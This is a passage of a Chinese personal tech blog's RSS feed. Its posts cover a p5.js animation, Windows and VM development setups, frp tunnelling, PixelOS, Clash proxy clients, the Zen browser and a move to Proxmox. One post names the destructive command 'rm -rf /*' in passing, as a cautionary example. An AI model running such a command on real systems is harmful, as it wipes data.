                for (let i = 0; i &amp;lt; num; i++) {
                    balls[i] = {
                        x: random(800),
                        y: random(600),
                        radius: random(20, 50),
                        speedX: random(-8, 8),
                        speedY: random(-8, 8),
                    };
                }
            }

            function draw() {
                background(&quot;blue&quot;);
                fill(&quot;pink&quot;);
                noStroke();
                for (let i = 0; i &amp;lt; num; i++) {
                    circle(balls[i].x, balls[i].y, balls[i].radius * 2);
                    balls[i].x += balls[i].speedX;
                    balls[i].y += balls[i].speedY;

                    if (
                        balls[i].x &amp;lt; balls[i].radius ||
                        balls[i].x &amp;gt; 800 - balls[i].radius
                    ) {
                        balls[i].speedX = -balls[i].speedX;
                    }
                    if (
                        balls[i].y &amp;lt; balls[i].radius ||
                        balls[i].y &amp;gt; 600 - balls[i].radius
                    ) {
                        balls[i].speedY = -balls[i].speedY;
                    }
                }
            }
        &amp;lt;/script&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;效果都是如下样式&lt;/h3&gt;
&lt;p&gt;&amp;lt;iframe srcdoc=&quot;&amp;lt;!DOCTYPE html&amp;gt;&amp;lt;html lang=&quot;zh-CN&quot;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;&amp;lt;title&amp;gt;弹跳球动画&amp;lt;/title&amp;gt;&amp;lt;script src=&quot;https://cdn.jsdelivr.net/npm/p5@1/lib/p5.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;style&amp;gt;body{display:flex;justify-content:center;align-items:center;min-height:100vh;margin:0;background:#f0f0f0;}&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;script&amp;gt;let num=5;let xPos=[];let yPos=[];let radius=[];let speedx=[];let speedy=[];function setup(){createCanvas(800,600);background(&apos;blue&apos;);for(let i=0;i&amp;lt;num;i++){xPos[i]=random(800);yPos[i]=random(600);radius[i]=random(20,50);speedx[i]=random(-8,8);speedy[i]=random(-8,8);}}function draw(){background(&apos;blue&apos;);fill(&apos;pink&apos;);noStroke();for(let i=0;i&amp;lt;num;i++){circle(xPos[i],yPos[i],radius[i]*2);xPos[i]+=speedx[i];yPos[i]+=speedy[i];if(xPos[i]&amp;lt;radius[i]||xPos[i]&amp;gt;800-radius[i]){speedx[i]=-speedx[i];}if(yPos[i]&amp;lt;radius[i]||yPos[i]&amp;gt;600-radius[i]){speedy[i]=-speedy[i];}}}&amp;lt;/script&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&quot; width=&quot;840&quot; height=&quot;640&quot; style=&quot;border:none;&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Windows 开发环境</title><link>https://ivoinkwell.xyz/posts/specks/development-environment-on-windows/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/development-environment-on-windows/</guid><pubDate>Mon, 25 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;之前写过一篇文章，是关于Windows上面搭建Web服务的，也就是这篇：&lt;/p&gt;
&lt;p&gt;::post{slug=&quot;specks/windows-laptops-deploy-web-services&quot;}&lt;/p&gt;
&lt;p&gt;在给同学搭建的时候出现了这样一个问题，就是他在 Window 上面使用AI写的 &lt;code&gt;Next.js&lt;/code&gt; 项目迁移到 Linux 服务器上面之后根本没有办法正常的编译运行，但是我对于 &lt;code&gt;Next.js&lt;/code&gt; 这个框架没有任何的了解，我最后的办法是结合 AI 用我比较熟悉的 &lt;code&gt;Vue.js&lt;/code&gt; 进行了简单的重写，最后能够在 Linux上面完美的运行。&lt;/p&gt;
&lt;p&gt;这个时候我就有了一个问题一，也就是之前在 &lt;code&gt;bilibili&lt;/code&gt; 上面看高天的视频，包括我自己写代码都是使用Linux，只不过我是使用 &lt;code&gt;Zed&lt;/code&gt; 的 &lt;code&gt;SSH&lt;/code&gt; 连接自己家里的 PVE 设备进行程序的编写，而高天则是使用 &lt;code&gt;WSL2 + VSCode&lt;/code&gt; 这个组合，我就一直在考虑如果现在我手上只能有一台机器，但是这个机器必须是Windows系统，也必须使用 Linux 进行代码编写，是不是一定会绕不开 &lt;code&gt;WSL2&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;Linux 开发环境的好处&lt;/h2&gt;
&lt;p&gt;Linux 上面是最好用于开发的，这个观点我一直是非常赞同的。就已这个前端现在必备的东西 —— &lt;code&gt;Node.js&lt;/code&gt; 框架。&lt;/p&gt;
&lt;p&gt;我在 Windows 上面想要用 &lt;code&gt;22&lt;/code&gt; 和 &lt;code&gt;24&lt;/code&gt; 两个版本，我要下载两个版本的安装包并且安装，但是 Linux 上面只需要一个 &lt;code&gt;nvm&lt;/code&gt; 就能解决。切换版本直接使用命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvm use [版本号]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接就能解决，所以 Windows 上面做开发就会显得比较繁琐了……&lt;/p&gt;
&lt;p&gt;&amp;lt;a class=&quot;btn-regular no-styling&quot; style=&quot;display:inline-flex;align-items:center;justify-content:center;width:fit-content;padding:0.5rem 1.5rem;border-radius:0.5rem;font-size:0.875rem;line-height:1.25rem;color:var(--btn-content);text-decoration:none;font-weight:500;&quot; href=&quot;https://github.com/nvm-sh/nvm&quot;&amp;gt;
nvm项目地址
&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;h2&gt;宿主机是 Windows 前提下我对于虚拟 Linux 的选择&lt;/h2&gt;
&lt;p&gt;之前提到过我在 &lt;code&gt;bilibili&lt;/code&gt; 上面看到的一个博主，他使用的就是 &lt;code&gt;WSL2&lt;/code&gt; 的 Ubuntu，他是写 Python 的，当时在讲解 &lt;code&gt;lazy import&lt;/code&gt; 这个知识点的，如果有兴趣可以自己去找找他，他视频里面使用的 &lt;code&gt;WSL2&lt;/code&gt; 我一直是无法直接适应的，这个寄宿不像  PVE 的 LXC 容器那么简单，也看到很多执行 &lt;code&gt;rm -rf /*&lt;/code&gt; 之后 Windows 都死了的案例，于是我还是选择了一个性能最不好的方案 —— 虚拟机。&lt;/p&gt;
&lt;p&gt;虚拟机我选择的还是 &lt;code&gt;VMware&lt;/code&gt; ，没啥特殊原因，主要是最近 CTF 的比赛题目在上面，不过如果以后写代码要再开一个机器这个便捷度估计也不低，但是有 &lt;code&gt;git&lt;/code&gt; 代码还是比较好同步的，虚拟机的死活也不用十分重视，除非一直不提交。&lt;/p&gt;
&lt;p&gt;还是有必要展示一下我使用 &lt;code&gt;Zed + PVE Develop 虚拟机&lt;/code&gt; 搭建开发环境的效果，我感觉还是很舒服，性能也很好&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/development-environment-on-windows/development-environment-on-windows.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Windows 笔记本部署 Web 服务</title><link>https://ivoinkwell.xyz/posts/specks/windows-laptops-deploy-web-services/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/windows-laptops-deploy-web-services/</guid><pubDate>Thu, 21 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;看到这个标题估计很多人第一个想法一定是“这个人脑子被驴踢了吧？”。但是现实中确实是这个样子的，他们手上只有一台笔记本，但是想给对象看一个小网页，部署 &lt;code&gt;VPN Server&lt;/code&gt; 确实是没有直接使用 &lt;code&gt;Frp Client&lt;/code&gt;划算了，所以我也是在昨天成功做成了这样一件事。&lt;/p&gt;
&lt;h2&gt;部署准备&lt;/h2&gt;
&lt;p&gt;这一次部署没有使用 &lt;code&gt;WSL2&lt;/code&gt; 确实浪费性能，但是对于一个小白来说确实使用 &lt;code&gt;VMware&lt;/code&gt; 会方便很多，让他们自己操作Linux关闭与启动服务，写配置文件不可以的话也就只有一个方法 —— &lt;code&gt;面板部署&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;所以，需要准备以下的东西：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Vmware&lt;/code&gt; 软件，版本随意&lt;/li&gt;
&lt;li&gt;面板支持系统的系统镜像，这里选择 &lt;code&gt;Ubuntu 26.04&lt;/code&gt; 社区庞大，便于维护&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;安装虚拟机&lt;/h2&gt;
&lt;p&gt;根据软件提示安装虚拟机即可&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.ivoink.qzz.io/linux-system/01-linux-installation-and-remote-login.html&quot;&gt;安装Ubuntu可以参考我的文档站&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;部署面板&lt;/h2&gt;
&lt;p&gt;我觉得小皮面板相对来说方便入手，所以，给安装的是这个&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.xp.cn/download&quot;&gt;面板部署命令&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;命令粘贴进虚拟机即可开始安装，安装过程会安装很多的依赖，需要一些时间，耐心等待就行&lt;/p&gt;
&lt;h2&gt;创建 Node.js 网站&lt;/h2&gt;
&lt;p&gt;他给对象的网站是使用 &lt;code&gt;Node.js&lt;/code&gt; 的 &lt;code&gt;Next.js&lt;/code&gt; 写的，但是后面 Linux 上部署出现编译问题，我用 &lt;code&gt;Vue&lt;/code&gt; 重写了，但是依旧需要 &lt;code&gt;Node.js&lt;/code&gt; 进行部署&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]+ 创建提示
临时部署没有域名的不要任何外网 IP 或者域名，直接下一步，不会使用 Nginx 或者 Apache 的域名代理，直接使用 &lt;code&gt;frp&lt;/code&gt; 转发服务端口即可&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;创建 &lt;code&gt;frp&lt;/code&gt; 连接&lt;/h2&gt;
&lt;p&gt;这里推荐 &lt;strong&gt;&lt;a href=&quot;https://dashboard.passnat.com/dashboard&quot;&gt;Passnet&lt;/a&gt;&lt;/strong&gt; ，感觉性价比还行，创建配置文件后将配置文件粘贴进小皮面板应用中心的 &lt;strong&gt;&lt;code&gt;Frp客户端&lt;/code&gt;&lt;/strong&gt; 软件中即可&lt;/p&gt;
&lt;p&gt;我是远程他的，所以我在我的电脑上已经可以访问他的 &lt;code&gt;frp&lt;/code&gt; IP + 端口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/windows-laptops-deploy-web-services/windows-laptops-deploy-web-services-1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>PixelOS 作为主力系统使用</title><link>https://ivoinkwell.xyz/posts/specks/pixelos-in-daily-life/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/pixelos-in-daily-life/</guid><pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;最近的一段时间，习惯了将 Clash Meta 挂在后台使用，所以也开始想去体验体验原生的 Google Pixel 系统。&lt;/p&gt;
&lt;h2&gt;奇想起因&lt;/h2&gt;
&lt;p&gt;词语这里确实没有用错，确实是一个奇想，在我的 REDMI 的手机上是可以打开 Google Play 的服务框架的，但是因为 HyperOS 对 Google FCM 的服务存后台的长连接在限制，完全无法在手机正常锁屏的时候收到 Telegram 上面的消息，所以就想到了还可以解 BL 的旧手机，尝试刷入了基于 Andriod 14 的 Pixel OS。&lt;/p&gt;
&lt;h2&gt;FCM 推送&lt;/h2&gt;
&lt;p&gt;FCM，全称 &lt;code&gt;Firebase Cloud Message&lt;/code&gt; 。是的，和苹果的推送机制是一样的，所有 APP 在后台可以都是死的，但是FCM 需要后台有一个进程去连接服务器，虽然说功耗不大，但是在 HyperOS 上和小米自己的 MiPush 服务功能一致，也会导致耗电加重。&lt;/p&gt;
&lt;p&gt;但是在 PixelOS 上面就不会，毕竟不带小米的那么多累赘组件，比如超级小爱……&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/pixelos-in-daily-life/pixelos-in-daily-life.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Telegram 我更喜欢使用第三方客户端，但是就是第三方客户端我都没有在 HyperOS 的手机的锁屏上推送过一个通知&lt;/p&gt;
&lt;h2&gt;速度&lt;/h2&gt;
&lt;p&gt;我和两个朋友出去吃饭，我们的手机型号分别是 Redmi Note 12T Pro，OPPO Find X8 Pro 和 OPPO Reno 的一个很老的手机。CPU 分别是天玑 8200，天玑9400和一个我也忘了啥CPU……&lt;/p&gt;
&lt;p&gt;去吃饭是扫码下单的，Reno 的那个因为是广电的卡就不参与，当时我和天玑 9400 的 OPPO Find X8 Pro几乎同时打开支付宝，我却先扫上二维码打开支付宝小程序，当时没有视频，但是确实不敢想象天玑 8200 的原生安卓机器可以碾压 9400 的 ColorOS&lt;/p&gt;
&lt;h2&gt;Bug&lt;/h2&gt;
&lt;p&gt;原生安卓的优化在如今的确是一个非常值得注意的问题，就比如QQ在挂载后台时间长了之后容易出现界面卡死，我已经在一天内遇到多次这样的情况出现，应该不算是个例了&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe width=&quot;100%&quot; height=&quot;100%&quot; src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/pixelos-in-daily-life/pixelos-in-daily-life.mp4&quot; title=&quot;&quot; frameborder=&quot;0&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;h2&gt;续航&lt;/h2&gt;
&lt;p&gt;这个算是我觉得比较惊讶的地方，作为一个备用机的手机，电池已经从原本的 5080mAh 容量降到4400mAh，这样的一个电池容量使用 HyperOS 基本上可以一天三充了。但是 PixelOS 上面确实可以一天一充，我当然不敢不充电，所以我是在早上充电到 100% ，中午还剩 50% ，从 50% 充到了 100% ，晚上回家还有 60% 的剩余，我全天都是挂着 VPN 和开着热点的情况下，我觉得这个续航成绩可谓是非常的理想了，和我新手机电池区间在 40% - 80% 的表现几乎是一致的。&lt;/p&gt;
</content:encoded></item><item><title>从V2ray换回Clash</title><link>https://ivoinkwell.xyz/posts/specks/switch-back-to-clash-from-v2ray/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/switch-back-to-clash-from-v2ray/</guid><pubDate>Wed, 29 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;粗浅估计一下，从我自己部署软路由到现在似乎已经有5个多月了，其实部署的目的也很简单，就是单纯不喜欢自己手机，电脑上面挂着这个一个东西，可能这样的耗电量对于电脑手机上来说已经是无关痛痒的存在，但是对于之前对于系统洁癖很严重的时候还是十分恶心的一件事情。&lt;/p&gt;
&lt;h2&gt;更换原因&lt;/h2&gt;
&lt;p&gt;目前来说，节点的价格还是比较贵的，尤其是全部平台的情况下，很多的机场对于全平台软件的支持其实很一般，所以只有使用更新比较频繁的内核才可以，而会一直这样跟进的只有一个——&lt;strong&gt;&lt;code&gt;Clash&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;之前一直不喜欢电脑和手机上常驻这样的一个进程，所以选择了软路由的方式去上网，但是经过自己折腾和配置，始终没有成功用上&lt;code&gt;OpenClash&lt;/code&gt;，所以最后选择的是&lt;code&gt;V2rayA&lt;/code&gt;，但是协议也就只能支持&lt;code&gt;VLESS&lt;/code&gt;，&lt;code&gt;VMESS&lt;/code&gt;以及&lt;code&gt;SS&lt;/code&gt;等常见的老协议，像是很多便宜的机场为了不被抓到会使用很多新的协议，&lt;code&gt;V2rayA&lt;/code&gt;的兼容性也就捉襟见肘了。所以为了能够尽量的降低自己的成本我还是准备选择本地软件&lt;/p&gt;
&lt;h2&gt;客户端选择&lt;/h2&gt;
&lt;p&gt;Clash有很多的版本，但是为了能够使用正常最新的协议，就要用一直更新内核版本的软件，下面是不同客户端我个人使用的&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Android&lt;/code&gt;&lt;/strong&gt;：Clash Meta For Android&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Windows&lt;/code&gt;&lt;/strong&gt;：Clash Verge&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;Clash Verge&lt;/h3&gt;
&lt;p&gt;这个软件依赖&lt;code&gt;Microsoft Edge Webview2 Runtime&lt;/code&gt;，所以现在是有两个版本，如果有和我一样，一定要下载&lt;strong&gt;内置Webview2版&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;a class=&quot;btn-regular no-styling&quot; style=&quot;display:inline-flex;align-items:center;justify-content:center;width:fit-content;padding:0.5rem 1.5rem;border-radius:0.5rem;font-size:0.875rem;line-height:1.25rem;color:var(--btn-content);text-decoration:none;font-weight:500;&quot; href=&quot;https://github.com/clash-verge-rev/clash-verge-rev/releases/latest&quot;&amp;gt;
点击前往下载
&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Clash Verge 配置&lt;/h3&gt;
&lt;p&gt;先导入自己的机场节点&lt;/p&gt;
&lt;p&gt;选择TUN模式&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/switch-back-to-clash-from-v2ray/switch-back-to-clash-from-v2ray.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Stack建议选择Mixed，如果下方显示的IP已经改变就不需要更改&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/switch-back-to-clash-from-v2ray/switch-back-to-clash-from-v2ray-1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/switch-back-to-clash-from-v2ray/switch-back-to-clash-from-v2ray-2.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我目前已经将这个长时间挂在后台了，所以自启动也可以选择&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/switch-back-to-clash-from-v2ray/switch-back-to-clash-from-v2ray-3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;节省内存模式，Webview自动退出不占用资源&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/switch-back-to-clash-from-v2ray/switch-back-to-clash-from-v2ray-4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Clash Meta For Android&lt;/h3&gt;
&lt;p&gt;这是一个内核较新的Android客户端&lt;/p&gt;
&lt;p&gt;&amp;lt;a class=&quot;btn-regular no-styling&quot; style=&quot;display:inline-flex;align-items:center;justify-content:center;width:fit-content;padding:0.5rem 1.5rem;border-radius:0.5rem;font-size:0.875rem;line-height:1.25rem;color:var(--btn-content);text-decoration:none;font-weight:500;&quot; href=&quot;https://github.com/MetaCubeX/ClashMetaForAndroid/releases/latest&quot;&amp;gt;
点击前往下载
&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;p&gt;如果需要保持更新可以下载F-Droid应用商店，再里面实时获取更新&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Clash Meta For Android 配置&lt;/h3&gt;
&lt;p&gt;导入并且直接使用就可以，没什么需要多余配置的&lt;/p&gt;
&lt;p&gt;访问谷歌，正常访问&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.google.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跳转&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.google.com.hk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解决方案，访问这个后正常&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.google.com/ncr
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;设置长时间挂在后台可以这样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/switch-back-to-clash-from-v2ray/switch-back-to-clash-from-v2ray-5.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;协议&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;协议&lt;/th&gt;
&lt;th&gt;核心协议&lt;/th&gt;
&lt;th&gt;加密方式&lt;/th&gt;
&lt;th&gt;性能/抗丢包&lt;/th&gt;
&lt;th&gt;流量伪装&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Shadowsocks&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;强（内置）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;弱（需混淆插件）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VMESS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;强（内置）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VLESS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;弱（依赖TLS）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;强（配合XTLS）&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Trojan&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;强（TLS 1.2/1.3）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;极强（HTTPS）&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TUIC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;UDP&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;强（TLS 1.3）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;很高（低延迟）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hysteria (Hy2)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;UDP (QUIC)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;强（TLS 1.3）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;极高（抗丢包）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content:encoded></item><item><title>从Firefox ESR 更换至 Zen</title><link>https://ivoinkwell.xyz/posts/specks/from-firefox-esr-change-to-zen-broswer/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/from-firefox-esr-change-to-zen-broswer/</guid><pubDate>Sat, 25 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;安全，简洁是我对于浏览器的一个认知，之前使用Chrome也是因为这个原因，当时Chrome相比于微软家的Edge有一种简洁的美，但是后来是因为书签同步问题选择了Firefox，后来发现ESR版本新功能更少更简洁，于是换成了Firefox ESR。&lt;/p&gt;
&lt;p&gt;但是后来学了一些网络相关的知识，却发现Brave才是那个最安全的浏览器，但是Brave在国内没办法使用，万一机场跑路书签找不回来哭都来不及，但是幸亏Firefox是开源的浏览器，我还是找到了一个基于Firefox，却比Firefox更完善与安全的浏览器——Zen。&lt;/p&gt;
&lt;h2&gt;界面&lt;/h2&gt;
&lt;p&gt;Windows10上面和Windows11上面还是真的有些许差异的&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Windows 11&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/from-firefox-esr-change-to-zen-broswer/from-firefox-esr-change-to-zen-broswer.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Windows 11的界面非常的美观，但是到了Windows 10 就会差一点意思&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Windows 10&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/from-firefox-esr-change-to-zen-broswer/from-firefox-esr-change-to-zen-broswer-1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Windows 10的窗口没有办法做到透明玻璃的效果，但是操作逻辑确实是一点没变&lt;/p&gt;
&lt;h2&gt;我比较喜欢的功能点&lt;/h2&gt;
&lt;p&gt;我觉得这个浏览器在很多地方要比原版的Firefox要完善&lt;/p&gt;
&lt;h3&gt;快捷键&lt;/h3&gt;
&lt;p&gt;我算是比较喜欢键盘的，所以之前使用Firefox的时候喜欢使用&lt;code&gt;Ctrl+T&lt;/code&gt;这个快捷键新建标签页，再通过选中搜索框的方式进行搜索，但是Zen把这个界面做的更容易理解了，直接就是一个搜索框&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/from-firefox-esr-change-to-zen-broswer/from-firefox-esr-change-to-zen-broswer-2.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;编组与固定&lt;/h3&gt;
&lt;p&gt;左侧的地方可以对标签页进行编组与固定，这些标签页却不会占用资源，因为可以手动释放&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/from-firefox-esr-change-to-zen-broswer/from-firefox-esr-change-to-zen-broswer-3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Space&lt;/h3&gt;
&lt;p&gt;中文应该是工作区吧，这个功能很有意思，比如参加比赛和我日常写作，我可以两个Space分别管理标签页，不是怕尴尬，还是不容易混乱&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/from-firefox-esr-change-to-zen-broswer/from-firefox-esr-change-to-zen-broswer-4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/from-firefox-esr-change-to-zen-broswer/from-firefox-esr-change-to-zen-broswer-5.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;安全&lt;/h3&gt;
&lt;p&gt;我觉得这个已经算是一种景上添花的，但是能做到这样的隐私保护还是不错的，起码加载速度一定会比Firefox快一些&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/from-firefox-esr-change-to-zen-broswer/from-firefox-esr-change-to-zen-broswer-6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;性能&lt;/h2&gt;
&lt;p&gt;之前编辑器使用Zed就是因为性能好，这个浏览器我觉得性能确实是比Firefox要做得好的，可以通过资源管理器很好的看出来&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/from-firefox-esr-change-to-zen-broswer/from-firefox-esr-change-to-zen-broswer-7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这是我目前使用上资源的占用，我觉得这个控制还是很好了。&lt;/p&gt;
</content:encoded></item><item><title>迁移至PVE</title><link>https://ivoinkwell.xyz/posts/specks/migrate-to-pve/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/migrate-to-pve/</guid><pubDate>Sun, 19 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;相关原因&lt;/h2&gt;
&lt;p&gt;之前的文章说过我在电视盒子刷的OpenWRT彻底罢工不能用了之后，将软路由的功能迁移到飞牛NAS的虚拟机上，可以参考我的这篇文章：&lt;/p&gt;
&lt;p&gt;::post{slug=&quot;specks/soft-router-istoreos&quot;}&lt;/p&gt;
&lt;p&gt;但是现在因为ESXi用户管理的问题和NAS主机因为降压频繁导致CPU温度过高报警的相关原因，我现在不得不限制NAS的CPU频率，这个情况下也就不适合再把OpenVPN Server和iStoreOS放在这个NAS上了，后面我看上了我现在正在使用的虚拟化平台——ESXi，但是这个平台我一开始使用起来发现用户管理上不能做到用户权限相同，只是虚拟机相互隔离，但是因为这个软件的使用便捷性比较高，家庭成员安装自己的虚拟机都很方便就一直没有动，但是在迁移飞牛的虚拟机的时候，飞牛KVM导出的&lt;code&gt;.ova&lt;/code&gt;文件ESXi根本导入不了，但是OpenVPN Server上面用户太多，我根本没有办法去迁移数据，没有办法，将虚拟化平台换成了PVE。&lt;/p&gt;
&lt;h2&gt;踩坑与实用功能&lt;/h2&gt;
&lt;h3&gt;导入踩坑&lt;/h3&gt;
